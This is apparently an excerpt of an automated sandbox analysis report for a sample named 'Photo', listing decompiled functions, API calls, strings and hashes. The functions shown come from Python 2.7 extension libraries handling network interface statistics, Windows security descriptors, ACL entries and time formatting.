0x02765316
0x02765318
0x02765318
0x0276531d
0x0276531f
0x02765323
0x0276532c
0x0276532e
0x0276532e
0x02765323
0x02765333
0x02765335
0x02765338
0x02765341
0x02765343
0x02765343
0x02765338
0x02765348
0x0276534a
0x0276534d
0x02765356
0x02765358
0x02765358
0x0276534d
0x0276535b
0x02765361
0x02765363
0x02765366
0x0276536f
0x02765371
0x02765371
0x02765366
0x02765380
0x02765024
0x02765024
0x0276502c
0x0276511d
0x0276511f
0x00000000
0x02765125
0x02765134
0x02765134
0x02765137
0x0276513d
0x00000000
0x00000000
0x0276513f
0x02765158
0x00000000
0x0276515e
0x0276515e
0x02765166
0x02765167
0x02765168
0x0276516f
0x027651bf
0x027651bf
0x027651cd
0x027651cf
0x027651d2
0x027651d8
0x00000000
0x027651de
0x027651e3
0x02765202
0x02765204
0x02765209
0x027651e5
0x027651ef
0x027651f3
0x027651f8
0x027651f8
0x0276520d
0x02765214
0x02765216
0x02765234
0x02765236
0x0276523b
0x00000000
0x02765241
0x02765247
0x0276524d
0x02765252
0x00000000
0x02765258
0x02765258
0x0276525c
0x02765265
0x02765267
0x02765267
0x0276526a
0x0276526e
0x02765271
0x0276527a
0x0276527c
0x0276527c
0x0276527f
0x02765283
0x02765286
0x0276528f
0x02765291
0x02765291
0x0276529b
0x027652a8
0x027652ad
0x02765130
0x02765134
0x02765137
0x0276513d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x027652ad
0x02765252
0x0276523b
0x02765171
0x02765188
0x0276518c
0x02765191
0x027651b7
0x027651b9
0x00000000
0x00000000
0x00000000
0x00000000
0x027651b9
0x0276516f
0x00000000
0x02765197
0x0276519a
0x027652a4
0x00000000
0x027651a0
0x027651b2
0x00000000
0x027651b2
0x00000000
0x0276519a
0x02765134
0x02765032
0x02765032
0x02765034
0x02765039
0x0276503c
0x0276503e
0x02765044
0x0276504c
0x0276504f
0x02765063
0x02765064
0x02765051
0x02765056
0x02765057
0x02765057
0x0276506f
0x02765079
0x0276507c
0x0276507d
0x02765080
0x02765085
0x02765048
0x00000000
0x02765048
0x02765085
0x0276508c
0x02765090
0x0276509d
0x0276509f
0x027650a4
0x00000000
0x027650aa
0x027650af
0x027650b6
0x027650bd
0x027650bf
0x027650d2
0x027650d4
0x027650d9
0x00000000
0x027650df
0x027650e5
0x027650eb
0x027650f0
0x00000000
0x027650f6
0x027650f6
0x027650fa
0x02765103
0x02765105
0x02765105
0x02765108
0x0276510b
0x02765114
0x02765116
0x02765116
0x02765119
0x00000000
0x02765119
0x027650f0
0x027650d9
0x027650a4
0x0276502c
0x00000000
0x027652b3
0x027652b3
0x027652b6
0x027652bf
0x027652c1
0x027652c1
0x027652c8
0x027652cb
0x027652cf
0x027652dc
0x027652f3
0x00000000

APIs

PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02765011
Py_BuildValue.PYTHON27(0276B840,00000000), ref: 0276509B
Py_BuildValue.PYTHON27((OiOOOO),00000000,000000FF,00000000,6C6ACB14,6C6ACB14,6C6ACB14), ref: 027650D0
PyList_Append.PYTHON27(?,00000000), ref: 027650E5

Strings

N;Bl, xrefs: 027652DC
(OiOOOO), xrefs: 02765229
(OiOOOO), xrefs: 027650CB
%.2X, xrefs: 02765057

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: BuildValue$AppendCharFromList_UnicodeWide
String ID: %.2X$(OiOOOO)$(OiOOOO)$N;Bl
API String ID: 3269264928-3843926796
Opcode ID: 2e1cedadcc0aeff997c624379a99d91c4f0dc5ed496262d74ecff389aecb374f
Instruction ID: e82d711a637c49a95e7c208b382c3455b7b1b95a9b6e7d1c615031481a368ab6
Opcode Fuzzy Hash: 2e1cedadcc0aeff997c624379a99d91c4f0dc5ed496262d74ecff389aecb374f
Instruction Fuzzy Hash: AF81B0B1604301DFD714DF68D948A7B73E8EF88328F444A18FD959B290D774E905DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02763D00 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E02763D00() {
				intOrPtr* _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				char* _t49;
				intOrPtr _t51;
				intOrPtr* _t60;
				void* _t66;
				intOrPtr* _t79;
				void* _t82;
				intOrPtr _t90;
				intOrPtr* _t101;
				intOrPtr* _t105;
				void* _t106;
				intOrPtr* _t107;
				char* _t108;
				intOrPtr _t111;
				void* _t113;

				_t108 = 0;
				_t42 =  *0x27692ec();
				_t105 = _t42;
				 *((intOrPtr*)(_t113 + 8)) = _t105;
				if(_t105 != 0) {
					_t43 = E02761200();
					 *((intOrPtr*)(_t113 + 0x14)) = _t43;
					if(_t43 == 0) {
						L27:
						 *_t105 =  *_t105 + 0xffffffff;
						if( *_t105 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t105 + 4)) + 0x18))))(_t105);
							_t113 = _t113 + 4;
						}
						_t44 =  *((intOrPtr*)(_t113 + 0x14));
						if(_t44 != 0) {
							 *0x2769214(_t44);
							_t113 = _t113 + 4;
						}
						if(_t108 != 0) {
							 *0x2769214(_t108);
						}
						return 0;
					} else {
						_t111 = _t43;
						while(1) {
							_t49 =  *0x27691b4(0x548);
							_t108 = _t49;
							_t113 = _t113 + 4;
							if(_t108 == 0) {
								break;
							}
							_t82 = 0x548;
							do {
								 *_t49 = 0;
								_t49 = _t49 + 1;
								_t82 = _t82 - 1;
							} while (_t82 != 0);
							_t51 =  *((intOrPtr*)(_t111 + 4));
							_push(_t108);
							 *((intOrPtr*)(_t108 + 8)) = _t51;
							L02768C20();
							if(_t51 != 0) {
								 *0x27692c4( *((intOrPtr*)( *0x27692c0)), "GetIfEntry() or GetIfEntry2() syscalls failed.");
								_t113 = _t113 + 8;
								goto L27;
							} else {
								asm("adc ecx, [esi+0x4c4]");
								asm("adc eax, [esi+0x50c]");
								_t79 =  *0x27692b4("(KKKKKKKK)",  *((intOrPtr*)(_t108 + 0x500)),  *((intOrPtr*)(_t108 + 0x504)),  *((intOrPtr*)(_t108 + 0x4b8)),  *((intOrPtr*)(_t108 + 0x4bc)),  *((intOrPtr*)(_t108 + 0x510)) +  *((intOrPtr*)(_t108 + 0x508)),  *((intOrPtr*)(_t108 + 0x514)),  *((intOrPtr*)(_t108 + 0x4c8)) +  *((intOrPtr*)(_t108 + 0x4c0)),  *((intOrPtr*)(_t108 + 0x4cc)),  *((intOrPtr*)(_t108 + 0x4d8)),  *((intOrPtr*)(_t108 + 0x4dc)),  *((intOrPtr*)(_t108 + 0x520)),  *((intOrPtr*)(_t108 + 0x524)),  *((intOrPtr*)(_t108 + 0x4d0)),  *((intOrPtr*)(_t108 + 0x4d4)),  *((intOrPtr*)(_t108 + 0x518)),  *((intOrPtr*)(_t108 + 0x51c)));
								_t113 = _t113 + 0x44;
								if(_t79 == 0) {
									goto L27;
								} else {
									_t101 =  *((intOrPtr*)(_t111 + 0x28));
									_t60 = _t101;
									_t106 = _t60 + 2;
									do {
										_t90 =  *_t60;
										_t60 = _t60 + 2;
									} while (_t90 != 0);
									_t107 =  *0x276928c(_t101, _t60 - _t106 >> 1);
									_t113 = _t113 + 8;
									if(_t107 == 0) {
										L24:
										 *_t79 =  *_t79 + 0xffffffff;
										if( *_t79 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t79 + 4)) + 0x18))))(_t79);
											_t113 = _t113 + 4;
										}
										_t105 =  *((intOrPtr*)(_t113 + 0x10));
										goto L27;
									} else {
										_t66 =  *0x27692e8( *((intOrPtr*)(_t113 + 0x10)), _t107, _t79);
										_t113 = _t113 + 0xc;
										if(_t66 != 0) {
											 *_t107 =  *_t107 + 0xffffffff;
											if( *_t107 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t107 + 4)) + 0x18))))(_t107);
												_t113 = _t113 + 4;
											}
											goto L24;
										} else {
											 *_t107 =  *_t107 + 0xffffffff;
											if( *_t107 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t107 + 4)) + 0x18))))(_t107);
												_t113 = _t113 + 4;
											}
											 *_t79 =  *_t79 + 0xffffffff;
											if( *_t79 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t79 + 4)) + 0x18))))(_t79);
												_t113 = _t113 + 4;
											}
											 *0x2769214(_t108);
											_t111 =  *((intOrPtr*)(_t111 + 8));
											_t113 = _t113 + 4;
											if(_t111 != 0) {
												_t105 =  *((intOrPtr*)(_t113 + 0x10));
												continue;
											} else {
												 *0x2769214( *((intOrPtr*)(_t113 + 0x14)));
												return  *((intOrPtr*)(_t113 + 0x14));
											}
										}
									}
								}
							}
							goto L34;
						}
						 *0x27692bc();
						goto L27;
					}
				} else {
					return _t42;
				}
				L34:
			}

0x02763d05
0x02763d07
0x02763d0d
0x02763d0f
0x02763d15
0x02763d1f
0x02763d24
0x02763d2a
0x02763ef6
0x02763ef6
0x02763ef9
0x02763f02
0x02763f04
0x02763f04
0x02763f07
0x02763f0d
0x02763f10
0x02763f16
0x02763f16
0x02763f1b
0x02763f1e
0x02763f24
0x02763f30
0x02763d30
0x02763d30
0x02763d44
0x02763d49
0x02763d4f
0x02763d51
0x02763d56
0x00000000
0x00000000
0x02763d5c
0x02763d61
0x02763d61
0x02763d64
0x02763d65
0x02763d65
0x02763d6a
0x02763d6d
0x02763d6e
0x02763d71
0x02763d78
0x02763ec5
0x02763ecb
0x00000000
0x02763d7e
0x02763dc7
0x02763de8
0x02763e11
0x02763e13
0x02763e18
0x00000000
0x02763e1e
0x02763e1e
0x02763e21
0x02763e23
0x02763e26
0x02763e26
0x02763e29
0x02763e2c
0x02763e3d
0x02763e3f
0x02763e44
0x02763ee1
0x02763ee1
0x02763ee4
0x02763eed
0x02763eef
0x02763eef
0x02763ef2
0x00000000
0x02763e4a
0x02763e51
0x02763e57
0x02763e5c
0x02763ed0
0x02763ed3
0x02763edc
0x02763ede
0x02763ede
0x00000000
0x02763e5e
0x02763e5e
0x02763e61
0x02763e6a
0x02763e6c
0x02763e6c
0x02763e6f
0x02763e72
0x02763e7b
0x02763e7d
0x02763e7d
0x02763e81
0x02763e87
0x02763e8a
0x02763e8f
0x02763d40
0x00000000
0x02763e95
0x02763e9a
0x02763eae
0x02763eae
0x02763e8f
0x02763e5c
0x02763e44
0x02763e18
0x00000000
0x02763d78
0x02763eaf
0x00000000
0x02763eaf
0x02763d1c
0x02763d1c
0x02763d1c
0x00000000

APIs

PyDict_New.PYTHON27 ref: 02763D07
GetIfEntry2.IPHLPAPI(00000000), ref: 02763D71
Py_BuildValue.PYTHON27((KKKKKKKK),?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02763E0B
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02763E37
PyDict_SetItem.PYTHON27(?,00000000,00000000), ref: 02763E51

Strings

N;Bl, xrefs: 02763E81, 02763E9A, 02763F10, 02763F1E
(KKKKKKKK), xrefs: 02763E06
GetIfEntry() or GetIfEntry2() syscalls failed., xrefs: 02763EBF

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Dict_$BuildCharEntry2FromItemUnicodeValueWide
String ID: (KKKKKKKK)$GetIfEntry() or GetIfEntry2() syscalls failed.$N;Bl
API String ID: 3218330116-2541033050
Opcode ID: 2020a0dca8cf9c9dfe0cb97de0fac93aee1349bc20409eb577a018516af3456a
Instruction ID: 39d3e864fc28d2fe912632b11d237831cf58d0d670d4dc15da6f9e79b1499904
Opcode Fuzzy Hash: 2020a0dca8cf9c9dfe0cb97de0fac93aee1349bc20409eb577a018516af3456a
Instruction Fuzzy Hash: E05161B1500701DFD710DBA8DD88EB7B3E9AF88725F044658EE5A87341D734E915CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4D40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A4D5F
PyObject_CheckReadBuffer.PYTHON27(00000000), ref: 1E7A4D81
PyErr_Format.PYTHON27(?,object must be a read-buffer to read the CLSID bytes,?,?,?,?,?), ref: 1E7A4D9C

Strings

O|i, xrefs: 1E7A4D51
string too small - must be at least %d bytes (got %d), xrefs: 1E7A4DD7
object must be a read-buffer to read the CLSID bytes, xrefs: 1E7A4D96

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_BufferCheckErr_FormatObject_ParseReadTuple
String ID: O|i$object must be a read-buffer to read the CLSID bytes$string too small - must be at least %d bytes (got %d)
API String ID: 194250459-70904074
Opcode ID: bef2c5fa0fc3afa4ee7979cb4280a48fb68b3a89c52a080ba2e9e7b08acac79c
Instruction ID: 67e14e4880527d0e801e6fba9653fa000284457320bcc955386055de5d97fb65
Opcode Fuzzy Hash: bef2c5fa0fc3afa4ee7979cb4280a48fb68b3a89c52a080ba2e9e7b08acac79c
Instruction Fuzzy Hash: 5A4194B9514202AFE308DF64D885E5B77E9AFC8304F488F18FA4983261F731E554CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA390 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 58COMMON

Download Yara Rule

APIs

PyLong_FromUnsignedLongLong.PYTHON27(?,?), ref: 1E7AA3A4
PyLong_FromUnsignedLongLong.PYTHON27(?,?,OtherTransferCount,00000000), ref: 1E7AA3B7
PyLong_FromUnsignedLongLong.PYTHON27(?,?,WriteTransferCount,00000000), ref: 1E7AA3CA
PyLong_FromUnsignedLongLong.PYTHON27(?,?,ReadTransferCount,00000000), ref: 1E7AA3DD
PyLong_FromUnsignedLongLong.PYTHON27(?,?,OtherOperationCount,00000000), ref: 1E7AA3F0
PyLong_FromUnsignedLongLong.PYTHON27(?,?,WriteOperationCount,00000000), ref: 1E7AA402
Py_BuildValue.PYTHON27({s:N,s:N,s:N,s:N,s:N,s:N},ReadOperationCount,00000000,WriteOperationCount,00000000), ref: 1E7AA412

Strings

ReadOperationCount, xrefs: 1E7AA408
WriteOperationCount, xrefs: 1E7AA3FB
ReadTransferCount, xrefs: 1E7AA3D6
OtherOperationCount, xrefs: 1E7AA3E9
{s:N,s:N,s:N,s:N,s:N,s:N}, xrefs: 1E7AA40D
OtherTransferCount, xrefs: 1E7AA3B0
WriteTransferCount, xrefs: 1E7AA3C3

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Long$FromLong_Unsigned$BuildValue
String ID: OtherOperationCount$OtherTransferCount$ReadOperationCount$ReadTransferCount$WriteOperationCount$WriteTransferCount${s:N,s:N,s:N,s:N,s:N,s:N}
API String ID: 3891383402-408589094
Opcode ID: 01fad60f596ebc4432011e6e440dcec8a783428b4620d7956182109e8bdf5ee9
Instruction ID: f481a21ebffab7642f7e5d416ae1c2962f5af44333eb59375e71acafc8a34d69
Opcode Fuzzy Hash: 01fad60f596ebc4432011e6e440dcec8a783428b4620d7956182109e8bdf5ee9
Instruction Fuzzy Hash: B301DBB56006007FE624DB69EC81CA7F3EDAFD82057054B19F98AD3720D571F8158AB5

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2320 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,%s not supported by this version of Windows,?,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A2352
?PyWinObject_AsIID@@YAHPAU_object@@PAU_GUID@@@Z.PYWINTYPES27(?,?,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A2374

Strings

%s: unable to allocated %d bytes, xrefs: 1E7A245B
%s not supported by this version of Windows, xrefs: 1E7A234C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: D@@@Err_FormatObject_U_object@@
String ID: %s not supported by this version of Windows$%s: unable to allocated %d bytes
API String ID: 3079635983-968908422
Opcode ID: 32d5c42ab4b9bf43798e95ae4d3dbdd57271ab5a65dbd74ad5d72008931cc97d
Instruction ID: a57e880279c712d9a570825e7e2f887947dcc9e33f41079b0b2308ab1e365b1c
Opcode Fuzzy Hash: 32d5c42ab4b9bf43798e95ae4d3dbdd57271ab5a65dbd74ad5d72008931cc97d
Instruction Fuzzy Hash: B651C5B6504250AFE304DF54EC84DABB3E9EFC8655F480B1DFA4583220E775E945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6730 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,Oi:SetSecurityDescriptorOwner,?,?), ref: 1E7A675D
?PyWinObject_AsSID@@YAHPAU_object@@PAPAXH@Z.PYWINTYPES27(?,?,00000001), ref: 1E7A677E
IsValidSid.ADVAPI32(?), ref: 1E7A678F
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SetSecurityDescriptorGroup - invalid sid,00000000), ref: 1E7A679F

Strings

Oi:SetSecurityDescriptorOwner, xrefs: 1E7A6745
SetSecurityDescriptorGroup - invalid sid, xrefs: 1E7A679A
SetSecurityDescriptorGroup, xrefs: 1E7A67EB

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$Arg_Error@@Object_ParseTupleValidWin_
String ID: Oi:SetSecurityDescriptorOwner$SetSecurityDescriptorGroup$SetSecurityDescriptorGroup - invalid sid
API String ID: 56846361-540673021
Opcode ID: 5eacbe10dfdeda512770b6cb96075fd038ebcede153f4d70495e77fd15793a06
Instruction ID: 642eaac127fc8a2bdcaf2ad5000e87cf4360b7d1a1884a9e58ab2694e65d144d
Opcode Fuzzy Hash: 5eacbe10dfdeda512770b6cb96075fd038ebcede153f4d70495e77fd15793a06
Instruction Fuzzy Hash: CE31E475604205ABF200DFA5AC84D6B739DEEC4614F8C4B2CFE4592221E735E919CAB7

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1CC0 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

GetExplicitEntriesFromAclA.ADVAPI32(?,?,?), ref: 1E7A1CE0
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetExplicitEntriesFromAcl,00000000), ref: 1E7A1CF0

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

PyTuple_New.PYTHON27(?), ref: 1E7A1D03
Py_BuildValue.PYTHON27({s:l,s:l,s:l,s:N},AccessPermissions,?,AccessMode,?,Inheritance,?,Trustee,00000000,?), ref: 1E7A1D5E
PyTuple_SetItem.PYTHON27(00000000,00000000,00000000), ref: 1E7A1D6A
LocalFree.KERNEL32(?), ref: 1E7A1D84

Strings

Inheritance, xrefs: 1E7A1D48
GetExplicitEntriesFromAcl, xrefs: 1E7A1CEB
{s:l,s:l,s:l,s:N}, xrefs: 1E7A1D59
AccessMode, xrefs: 1E7A1D4E
Trustee, xrefs: 1E7A1D42
AccessPermissions, xrefs: 1E7A1D54

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: FromU_object@@$BuildErrorFreeLocalMessageTuple_ValueWin_$CoreE__@@EntriesErr_Error@@ExplicitFormatItemLastModule@@ObjectObject_String@@String_
String ID: AccessMode$AccessPermissions$GetExplicitEntriesFromAcl$Inheritance$Trustee${s:l,s:l,s:l,s:N}
API String ID: 1412758497-3023593127
Opcode ID: 286906dcf239ac6a49b5a9fd6ec233a4c748a32526a5bada161a81add0e2e30d
Instruction ID: 902f6c62e0c212248d9c1d9f92dae9ac4c45c51cff427e9a75f093d6b17e5d42
Opcode Fuzzy Hash: 286906dcf239ac6a49b5a9fd6ec233a4c748a32526a5bada161a81add0e2e30d
Instruction Fuzzy Hash: AE21B976600205AFE200DF58EC84C9BB7EDEFC8215F094719FB8993310D632E845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A80E0 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

VariantTimeToSystemTime.OLEAUT32 ref: 1E7A80F6
GetDateFormatA.KERNEL32(00000400,00000001,?,00000000,?,00000080), ref: 1E7A8136
GetLastError.KERNEL32 ref: 1E7A8146
wsprintfA.USER32 ref: 1E7A8156
GetTimeFormatA.KERNEL32(00000400,00000000,?,00000000,?,00000080), ref: 1E7A8173
GetLastError.KERNEL32 ref: 1E7A817D
wsprintfA.USER32 ref: 1E7A818A
wsprintfA.USER32 ref: 1E7A81A9
?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF), ref: 1E7A81B5

Strings

!GetTimeFormat failed (%ld)!, xrefs: 1E7A8184
!GetDateFormat failed (%ld)!, xrefs: 1E7A8150
!illegal internal value!, xrefs: 1E7A810C
<PyTime:%s %s>, xrefs: 1E7A81A3

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Timewsprintf$ErrorFormatLast$CoreDateFromString@@String_SystemU_object@@Variant
String ID: !GetDateFormat failed (%ld)!$!GetTimeFormat failed (%ld)!$!illegal internal value!$<PyTime:%s %s>
API String ID: 3719763702-3588756600
Opcode ID: f95cc197d1464a3c8d6fc7a534e8aca17259f3a787dfc313e00603af36c51e5e
Instruction ID: 9099e477c08cce546bc260467c09b80325289a91fcb84c059db33b4550109663
Opcode Fuzzy Hash: f95cc197d1464a3c8d6fc7a534e8aca17259f3a787dfc313e00603af36c51e5e
Instruction Fuzzy Hash: 8B218172554304ABF311DA60DC89FDBB7ACEBD8710F044A1DFB44961D0EB75A509C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1AF0 Relevance: 22.8, APIs: 5, Strings: 8, Instructions: 52COMMON

Download Yara Rule

APIs

?PyWinObject_FromSID@@YAPAU_object@@PAX@Z.PYWINTYPES27(?,?,1E7A1D39,?), ref: 1E7A1B08
?PyWinObject_FromOLECHAR@@YAPAU_object@@PB_W@Z.PYWINTYPES27(?), ref: 1E7A1B13
Py_BuildValue.PYTHON27({s:O,s:l,s:l,s:l,s:N},MultipleTrustee,6C6ACB14,MultipleTrusteeOperation,00000000,TrusteeForm,?,TrusteeType,?,Identifier,00000000), ref: 1E7A1B4F
PyErr_SetString.PYTHON27(00000000,TrusteeForm not yet supported), ref: 1E7A1B68
PyErr_SetString.PYTHON27(?,Invalid value for TrusteeForm,?,1E7A1D39,?), ref: 1E7A1B83

Strings

MultipleTrustee, xrefs: 1E7A1B45
Identifier, xrefs: 1E7A1B2C
Invalid value for TrusteeForm, xrefs: 1E7A1B7D
TrusteeType, xrefs: 1E7A1B32
{s:O,s:l,s:l,s:l,s:N}, xrefs: 1E7A1B4A
MultipleTrusteeOperation, xrefs: 1E7A1B3F
TrusteeForm not yet supported, xrefs: 1E7A1B62
TrusteeForm, xrefs: 1E7A1B38

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

